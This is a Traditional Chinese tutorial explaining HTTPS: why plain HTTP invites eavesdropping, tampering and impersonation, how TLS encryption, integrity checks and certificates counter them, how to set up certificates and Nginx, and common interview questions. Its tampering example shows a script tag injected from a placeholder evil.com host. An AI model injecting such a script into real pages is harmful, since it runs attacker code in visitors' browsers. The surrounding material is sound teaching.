03-1. HTTPS 是什麼?

⏱️ 閱讀時間: 10 分鐘 🎯 難度: ⭐⭐ (簡單)


🎯 本篇重點

理解 HTTPS 的基本概念、HTTP 和 HTTPS 的差異、為什麼需要 HTTPS,以及 HTTPS 如何保護我們的資料安全。


🤔 什麼是 HTTPS?

HTTPS (HTTP Secure) = 安全的 HTTP

一句話解釋: HTTPS 就像是在 HTTP 外面包了一層「防彈裝甲」,所有傳輸的資料都經過加密,別人偷看也看不懂。

HTTP  = 明信片(任何人都能看到內容)
HTTPS = 密封信件(只有收件人能看到內容)

📮 用寄信來比喻 HTTP vs HTTPS

HTTP = 明信片

你寫一張明信片寄給朋友:

內容:
「親愛的小明,
 我的銀行帳號是 123456789
 密碼是 password123」

問題:
├─ 郵差可以看到內容 👁️
├─ 郵局人員可以看到內容 👁️
├─ 中途任何人都能看到 👁️
└─ 有人可能修改內容 ✏️

結果:
你的帳號密碼可能被盜!

HTTPS = 密封信件(加密)

你把信放進信封,用特殊的鎖封起來:

外觀:
一個密封的信封 📩
只有收件人有鑰匙 🔑

過程:
1. 你用收件人的「公鑰」把信封鎖起來
2. 郵差運送(看不到內容)
3. 收件人用自己的「私鑰」打開信封
4. 讀取內容

優點:
✅ 郵差看不到內容(加密)
✅ 中途無法修改(完整性)
✅ 確認收件人身份(驗證)

結果:
你的資料安全!

🏗️ HTTPS 在網路模型中的位置

OSI 7 層模型

┌──────────────────────────────┬──────────────────────────┐
│ 7. Application Layer (應用層) │  HTTPS, HTTP             │ ← HTTPS 在這裡
├──────────────────────────────┼──────────────────────────┤
│ 6. Presentation Layer (表示層)│  SSL/TLS (加密、壓縮)     │ ← SSL/TLS 在這裡
├──────────────────────────────┼──────────────────────────┤
│ 5. Session Layer (會話層)     │  建立、維護會話           │
├──────────────────────────────┼──────────────────────────┤
│ 4. Transport Layer (傳輸層)   │  TCP                     │
├──────────────────────────────┼──────────────────────────┤
│ 3. Network Layer (網路層)     │  IP                      │
├──────────────────────────────┼──────────────────────────┤
│ 2. Data Link Layer (資料鏈結層)│  Ethernet                │
├──────────────────────────────┼──────────────────────────┤
│ 1. Physical Layer (實體層)    │  網路線、光纖             │
└──────────────────────────────┴──────────────────────────┘

HTTPS 位於第 7 層(應用層),SSL/TLS 位於第 6 層(表示層)

  • HTTPS = HTTP + SSL/TLS
  • SSL/TLS 提供加密、身份驗證、完整性保護
  • 使用者透過瀏覽器安全訪問網站

TCP/IP 4 層模型

┌─────────────────────────────┬──────────────────────────┐
│ 4. Application Layer (應用層) │  HTTPS (HTTP + SSL/TLS)  │ ← HTTPS 在這裡
├─────────────────────────────┼──────────────────────────┤
│ 3. Transport Layer (傳輸層)  │  TCP                     │
├─────────────────────────────┼──────────────────────────┤
│ 2. Internet Layer (網際網路層)│  IP                      │
├─────────────────────────────┼──────────────────────────┤
│ 1. Network Access (網路存取層)│  Ethernet                │
└─────────────────────────────┴──────────────────────────┘

HTTPS 位於第 4 層(應用層)

  • 在 TCP/IP 模型中,HTTPS 和 SSL/TLS 都歸類為應用層
  • 使用 TCP 作為傳輸層協定(Port 443)
  • TCP 提供可靠的連線導向傳輸

對比表:

協定OSI 層級TCP/IP 層級底層協定Port
HTTPLayer 7 (應用層)Layer 4 (應用層)TCP80
HTTPSLayer 7 (應用層)Layer 4 (應用層)TCP443
SSL/TLSLayer 6 (表示層)Layer 4 (應用層)TCP-

重點:

  • HTTPS = HTTP + SSL/TLS(在 HTTP 上加一層加密)
  • HTTP 使用 Port 80,HTTPS 使用 Port 443
  • SSL/TLS 在 OSI 模型中屬於表示層(處理加密)
  • 在 TCP/IP 模型中,HTTPS 整體屬於應用層

HTTPS 的層級架構:

應用層:HTTP(網頁內容)
  ↓
表示層:SSL/TLS(加密、認證)
  ↓
傳輸層:TCP(可靠傳輸)
  ↓
網路層:IP(路由)

🔍 HTTP vs HTTPS 詳細對比

核心差異

HTTP(明文傳輸):
你的電腦 → 路由器 → ISP → 伺服器
        ↑       ↑      ↑
     可被竊聽 可被竊聽 可被竊聽

資料內容:
GET /login?username=john&password=123456
→ 任何人都能看到帳號密碼!

HTTPS(加密傳輸):
你的電腦 → 加密 → 路由器 → ISP → 伺服器
                    ↓       ↓      ↓
                 看不懂   看不懂   看不懂

資料內容:
sD9fj#$kL@mN... (加密後的亂碼)
→ 只有伺服器能解密!

完整對比表

特性HTTPHTTPS
安全性❌ 不安全✅ 安全
加密❌ 明文傳輸✅ 加密傳輸
資料完整性❌ 可被竄改✅ 防止竄改
身份驗證❌ 無法驗證✅ 數位憑證驗證
Port80443
URLhttp://https://
瀏覽器標示不安全 ⚠️安全 🔒
SEO較低較高(Google 優先)
效能稍慢(加密開銷)
憑證❌ 不需要✅ 需要 SSL/TLS 憑證

🚨 HTTP 的三大安全問題

1️⃣ 竊聽(Eavesdropping)

問題:
資料以明文傳輸,任何人都能攔截並讀取

場景:咖啡廳 Wi-Fi

你:連上咖啡廳的免費 Wi-Fi
你:打開 http://bank.com 登入
你:輸入帳號:john、密碼:123456

駭客(在同一個 Wi-Fi):
使用 Wireshark 抓包
→ 看到明文:username=john&password=123456
→ 盜取你的帳號!

實際抓包範例:
POST /login HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded

username=john&password=123456

→ 完全暴露!

2️⃣ 篡改(Tampering)

問題:
資料在傳輸過程中可能被修改

場景:中間人攻擊(MITM)

你:訪問 http://news.com
你:看到一篇新聞

中間人(ISP、路由器):
攔截伺服器的回應
→ 修改 HTML,植入惡意腳本
→ 你的瀏覽器執行惡意程式
→ 電腦中毒!

原始回應:
<html>
<body>
  <h1>今日新聞</h1>
</body>
</html>

被修改的回應:
<html>
<body>
  <h1>今日新聞</h1>
  <script src="http://evil.com/malware.js"></script>
</body>
</html>

→ 你完全不知道被修改了!

3️⃣ 偽裝(Impersonation)

問題:
無法驗證伺服器的真實身份

場景:釣魚網站

你:想訪問 http://bank.com
駭客:在你的 DNS 或路由器動手腳
你:實際訪問到 http://bank-fake.com(假網站)
你:完全看不出來,因為頁面一模一樣
你:輸入帳號密碼
駭客:取得你的帳號密碼!

問題:
- HTTP 沒有身份驗證
- 你無法確認對方真的是 bank.com
- 假網站可以完美偽裝

🛡️ HTTPS 如何解決這三個問題

1️⃣ 加密(Encryption)→ 防止竊聽

HTTPS 使用 SSL/TLS 加密所有資料

過程:
你的電腦:
{"username": "john", "password": "123456"}
↓
加密(使用伺服器的公鑰):
sD9fj#$kL@mNpQ2vX8wZ...
↓
傳輸(駭客看到的是亂碼):
sD9fj#$kL@mNpQ2vX8wZ...
↓
伺服器(使用私鑰解密):
{"username": "john", "password": "123456"}

駭客抓包看到:
sD9fj#$kL@mNpQ2vX8wZ...
→ 完全看不懂!
→ 無法破解(除非有私鑰)

加密演算法:
- 對稱加密:AES-256
- 非對稱加密:RSA-2048, ECDSA

2️⃣ 完整性檢查(Integrity)→ 防止篡改

HTTPS 使用訊息驗證碼(MAC)確保資料完整性

過程:
伺服器:
1. 產生回應內容
   <html><body>Hello</body></html>

2. 計算 HMAC(雜湊訊息驗證碼)
   HMAC = Hash(內容 + 密鑰)
   = "abc123def456..."

3. 發送:內容 + HMAC

客戶端:
1. 收到:內容 + HMAC

2. 重新計算 HMAC
   HMAC' = Hash(收到的內容 + 密鑰)

3. 比對
   if (HMAC == HMAC'):
       ✅ 資料完整,未被修改
   else:
       ❌ 資料被篡改,拒絕!

如果中間人修改內容:
- 修改後的 HMAC 會不一致
- 客戶端會察覺並拒絕

3️⃣ 身份驗證(Authentication)→ 防止偽裝

HTTPS 使用數位憑證驗證伺服器身份

過程:
1. 伺服器向憑證機構(CA)申請憑證
   - CA:如 Let's Encrypt、DigiCert

2. CA 驗證伺服器真的擁有該網域
   - DNS 驗證
   - 檔案驗證

3. CA 發行數位憑證給伺服器
   - 憑證包含:網域名稱、公鑰、有效期
   - CA 的數位簽章

4. 客戶端連線時
   瀏覽器:請給我你的憑證
   伺服器:這是我的憑證 📜

5. 瀏覽器驗證憑證
   ├─ 檢查憑證是否由可信任的 CA 發行 ✅
   ├─ 檢查憑證是否過期 ✅
   ├─ 檢查網域名稱是否吻合 ✅
   └─ 檢查憑證是否被撤銷 ✅

6. 驗證通過
   瀏覽器:顯示 🔒(安全)
   建立加密連線

如果是假網站:
- 無法取得真正 bank.com 的憑證
- 使用假憑證會被瀏覽器警告 ⚠️
- 用戶看到警告會離開

🔐 HTTPS 的運作流程

簡化版

【第 1 步:建立連線】
客戶端 → 伺服器:你好,我想建立安全連線
伺服器 → 客戶端:好的,這是我的憑證 📜

【第 2 步:驗證憑證】
客戶端:檢查憑證...
├─ CA 是可信任的嗎? ✅
├─ 憑證過期了嗎? ✅
└─ 網域名稱對嗎? ✅

【第 3 步:交換金鑰】
客戶端:產生隨機數(會話金鑰)
客戶端 → 伺服器:用你的公鑰加密的會話金鑰
伺服器:用私鑰解密,取得會話金鑰

【第 4 步:加密通訊】
雙方都有相同的會話金鑰
所有後續通訊都用此金鑰加密

客戶端 ⇄ 伺服器(加密通訊)

🌐 瀏覽器如何顯示 HTTPS

安全連線(HTTPS)

Chrome 瀏覽器:
🔒 https://www.google.com

點擊 🔒 圖示:
├─ 連線安全
├─ 憑證有效
├─ 由 Google Trust Services LLC 發行
└─ 有效期至 2025-04-01

Safari:
🔒 google.com

Firefox:
🔒 www.google.com

不安全連線(HTTP)

Chrome:
⚠️ 不安全 http://example.com

警告:
- 您與這個網站的連線不安全
- 請勿在此網站上輸入任何敏感資訊

憑證錯誤

瀏覽器警告:
⚠️ 您的連線不是私人連線

原因:
├─ 憑證過期
├─ 憑證網域不符
├─ 自簽憑證(不受信任的 CA)
└─ 憑證被撤銷

顯示:
「攻擊者可能正試圖竊取您的資訊」

選項:
[返回安全頁面] [進階設定]

不建議:
繼續前往(非常危險)

💰 HTTPS 的優缺點

優點

1. 資料安全 🔒
   - 加密傳輸,防止竊聽
   - 敏感資訊(密碼、信用卡)受保護

2. 資料完整性 ✅
   - 防止竄改
   - 確保收到的資料是原始資料

3. 身份驗證 🆔
   - 確認網站真實性
   - 防止釣魚網站

4. SEO 優勢 📈
   - Google 優先排名 HTTPS 網站
   - Chrome 標記 HTTP 為「不安全」

5. 用戶信任 👍
   - 瀏覽器顯示 🔒
   - 提升用戶信心

6. HTTP/2 支援 🚀
   - HTTP/2 幾乎都需要 HTTPS
   - 更快的載入速度

7. 現代功能需求 📱
   - Service Workers(PWA)
   - Geolocation API
   - 許多新 API 都要求 HTTPS

缺點

1. 效能開銷 ⏱️
   - 加密/解密需要運算
   - TLS 握手增加延遲(約 100-200ms)
   - 但現代硬體影響很小

2. 憑證成本 💵
   - 商業 CA 憑證需要費用
   - 但 Let's Encrypt 提供免費憑證

3. 設定複雜度 🔧
   - 需要申請和設定憑證
   - 需要定期更新憑證
   - 但自動化工具(Certbot)簡化了流程

4. 除錯困難 🐛
   - 無法直接查看加密內容
   - 需要特殊工具(如 Wireshark + 私鑰)

5. 快取限制 📦
   - 某些中間代理無法快取 HTTPS 內容
   - 但 CDN 可以解決

🚀 如何啟用 HTTPS

方法 1:Let’s Encrypt(免費)

# 安裝 Certbot
sudo apt-get update
sudo apt-get install certbot python3-certbot-nginx

# 申請憑證(Nginx)
sudo certbot --nginx -d example.com -d www.example.com

# 自動更新憑證
sudo certbot renew --dry-run

# 憑證每 90 天過期,自動更新
sudo systemctl enable certbot.timer

方法 2:商業 CA(付費)

步驟:
1. 選擇 CA 供應商
   - DigiCert
   - GlobalSign
   - Comodo

2. 購買憑證(年費 $50-$500+)

3. 產生 CSR(憑證簽署請求)
   openssl req -new -newkey rsa:2048 -nodes \
     -keyout example.com.key -out example.com.csr

4. 提交 CSR 給 CA

5. CA 驗證網域所有權

6. CA 發行憑證

7. 安裝憑證到伺服器

方法 3:Cloudflare(免費代理)

步驟:
1. 註冊 Cloudflare 帳號

2. 新增網站

3. 修改 DNS 指向 Cloudflare

4. 啟用 SSL/TLS
   - Flexible(Cloudflare ↔ 客戶端加密)
   - Full(Cloudflare ↔ 伺服器也加密)
   - Full (Strict)(驗證憑證)

5. 完成!

優點:
✅ 免費
✅ 自動憑證管理
✅ 附加 CDN、DDoS 防護

Nginx 設定範例

server {
    listen 80;
    server_name example.com www.example.com;

    # 強制重新導向到 HTTPS
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name example.com www.example.com;

    # SSL 憑證
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    # SSL 設定
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;
    ssl_prefer_server_ciphers on;

    # HSTS(強制 HTTPS)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

    # 其他安全標頭
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;

    location / {
        root /var/www/html;
        index index.html;
    }
}

📊 HTTPS 普及率

統計(2024):
- 全球前 100 萬網站:95%+ 使用 HTTPS
- Google 流量:99%+ 使用 HTTPS
- Firefox 載入的網頁:90%+ 使用 HTTPS

趨勢:
2015:40% HTTPS
2018:70% HTTPS
2020:85% HTTPS
2024:95%+ HTTPS

驅動因素:
1. Let's Encrypt(2015 推出免費憑證)
2. Google Chrome 標記 HTTP 為「不安全」(2018)
3. HTTP/2 需要 HTTPS(2015)
4. SEO 優勢(Google 優先 HTTPS)
5. 用戶安全意識提升

🎓 面試常見問題

Q1:HTTP 和 HTTPS 有什麼差異?

A:主要差異在安全性

HTTP(不安全):
❌ 明文傳輸(可被竊聽)
❌ 可被篡改
❌ 無法驗證身份
- Port 80
- URL: http://

HTTPS(安全):
✅ 加密傳輸(防止竊聽)
✅ 完整性檢查(防止篡改)
✅ 身份驗證(防止偽裝)
- Port 443
- URL: https://
- 需要 SSL/TLS 憑證

技術實現:
HTTPS = HTTP + SSL/TLS

比喻:
HTTP = 明信片(任何人都能看)
HTTPS = 密封信件(只有收件人能看)

結論:
- 現代網站應該全部使用 HTTPS
- Chrome 已將 HTTP 標記為「不安全」
- Google SEO 優先 HTTPS

Q2:HTTPS 如何保證安全?

A:三個機制保證安全

1. 加密(Encryption)
   - 使用 SSL/TLS 加密所有資料
   - 對稱加密:AES-256(資料傳輸)
   - 非對稱加密:RSA/ECDSA(金鑰交換)

範例:
明文:{"password": "123456"}
加密:sD9fj#$kL@mNpQ2vX8wZ...
→ 駭客看不懂

2. 完整性(Integrity)
   - 使用 HMAC(雜湊訊息驗證碼)
   - 檢查資料是否被修改

範例:
伺服器:內容 + HMAC = Hash(內容 + 密鑰)
客戶端:重新計算 HMAC,比對
→ 不一致 = 被竄改

3. 身份驗證(Authentication)
   - 使用數位憑證
   - 由可信任的 CA 發行

範例:
伺服器:這是我的憑證 📜
瀏覽器:
├─ CA 可信任嗎? ✅
├─ 憑證過期了嗎? ✅
├─ 網域名稱對嗎? ✅
└─ 憑證被撤銷了嗎? ✅

總結:
加密 → 別人看不懂
完整性 → 無法修改
身份驗證 → 確認是真網站

Q3:HTTPS 會影響效能嗎?

A:有一點影響,但幾乎可以忽略

效能影響:

1. TLS 握手(初次連線)
   - 增加 1-2 RTT(往返時間)
   - 約 100-200ms 延遲

但可以優化:
- TLS 1.3:只需 1-RTT(TLS 1.2 需要 2-RTT)
- TLS Session Resumption(會話恢復)
- 0-RTT(零往返時間)

2. 加密/解密運算
   - CPU 需要處理加密
   - 現代 CPU 有硬體加速(AES-NI)
   - 影響 < 1%

3. 記憶體使用
   - 需要儲存 TLS 狀態
   - 增加約 10KB/連線

實際影響:
- Google 測試:HTTPS 開銷 < 1%
- Cloudflare:HTTPS 甚至可能更快(HTTP/2)

為什麼可能更快?
- HTTP/2 需要 HTTPS
- HTTP/2 有多工、標頭壓縮
- 整體效能可能更好

結論:
效能影響極小,安全性好處遠大於效能損失

現代最佳實踐:
✅ 所有網站都應該用 HTTPS
✅ 效能優化:啟用 HTTP/2、使用 CDN

Q4:HTTPS 可以被破解嗎?

A:理論上可以,但實際上幾乎不可能

理論破解方法:

1. 暴力破解(Brute Force)
   - AES-256 有 2^256 種可能
   - 假設每秒嘗試 10^18 次
   - 需要 10^59 年才能破解
   - 宇宙年齡才 10^10 年
   → 不可能

2. 量子電腦
   - 理論上可以破解 RSA
   - 但 AES-256 仍然安全
   - 量子電腦尚未成熟
   - 可以升級到抗量子演算法

3. 中間人攻擊(MITM)
   - 攔截並解密流量
   - 但需要偽造憑證
   - 瀏覽器會警告 ⚠️
   - 用戶會發現

4. 協定漏洞
   - 舊版 SSL/TLS 有漏洞
   - 如 SSLv3(POODLE)、TLS 1.0
   - 解決:使用 TLS 1.2/1.3

5. 實作漏洞
   - Heartbleed(OpenSSL 漏洞)
   - 解決:定期更新軟體

6. 社交工程
   - 釣魚網站
   - 用戶主動告知密碼
   - 技術無法防護

實際攻擊案例:
大多數「HTTPS 被破解」其實是:
- 用戶安裝了惡意根憑證
- 用戶忽略瀏覽器警告
- 用戶被釣魚
- 軟體/協定漏洞(已修補)

結論:
✅ 正確實作的 HTTPS 非常安全
✅ 使用最新版本 TLS(1.2/1.3)
✅ 定期更新軟體
✅ 不要忽略瀏覽器警告

Q5:為什麼有些網站還在用 HTTP?

A:主要原因和逐漸消失的趨勢

原因:

1. 歷史包袱(Legacy)
   - 很舊的網站
   - 沒有維護

2. 技術能力不足
   - 不知道如何設定 HTTPS
   - 怕設定錯誤

3. 成本考量(已不是問題)
   - 以前 SSL 憑證很貴
   - 現在 Let's Encrypt 免費

4. 效能迷思(已過時)
   - 以前認為 HTTPS 很慢
   - 現代硬體影響極小

5. 不需要(錯誤觀念)
   - 「我們沒有處理敏感資訊」
   - 但仍需要防止竄改、釣魚

6. 混合內容問題
   - HTTPS 頁面載入 HTTP 資源
   - 瀏覽器會阻擋
   - 需要更新所有資源連結

趨勢:
2024 年已有 95%+ 網站使用 HTTPS

推動因素:
1. Let's Encrypt(2015)- 免費憑證
2. Chrome 標記 HTTP 為「不安全」
3. Google SEO 優先 HTTPS
4. HTTP/2 需要 HTTPS
5. 許多新 API 要求 HTTPS

未來:
- HTTP 將完全被淘汰
- 所有網站都應該使用 HTTPS

建議:
如果你還在用 HTTP:
✅ 立即升級到 HTTPS
✅ 使用 Let's Encrypt 免費憑證
✅ 設定自動更新

✅ 重點回顧

HTTPS 定義:

  • HTTPS = HTTP + SSL/TLS
  • 安全的 HTTP 通訊協定

三大安全保障:

  1. 加密(Encryption) - 防止竊聽
  2. 完整性(Integrity) - 防止篡改
  3. 身份驗證(Authentication) - 防止偽裝

HTTP vs HTTPS:

  • HTTP:明文、不安全、Port 80
  • HTTPS:加密、安全、Port 443

HTTPS 優點:

  • ✅ 資料安全(加密傳輸)
  • ✅ 防止竄改(完整性檢查)
  • ✅ 身份驗證(數位憑證)
  • ✅ SEO 優勢(Google 優先)
  • ✅ 用戶信任(瀏覽器 🔒)

如何啟用:

  • Let’s Encrypt(免費)
  • 商業 CA(付費)
  • Cloudflare(免費代理)

面試重點:

  • ✅ HTTPS 三大安全機制
  • ✅ 效能影響極小(< 1%)
  • ✅ 正確實作幾乎無法破解
  • ✅ 現代網站必須使用 HTTPS

記憶比喻:

  • HTTP = 明信片(任何人都能看)
  • HTTPS = 密封信件(只有收件人能看)

上一篇: 02-5. HTTP Headers 詳解 下一篇: 03-2. SSL/TLS 加密原理


最後更新:2025-01-06

0%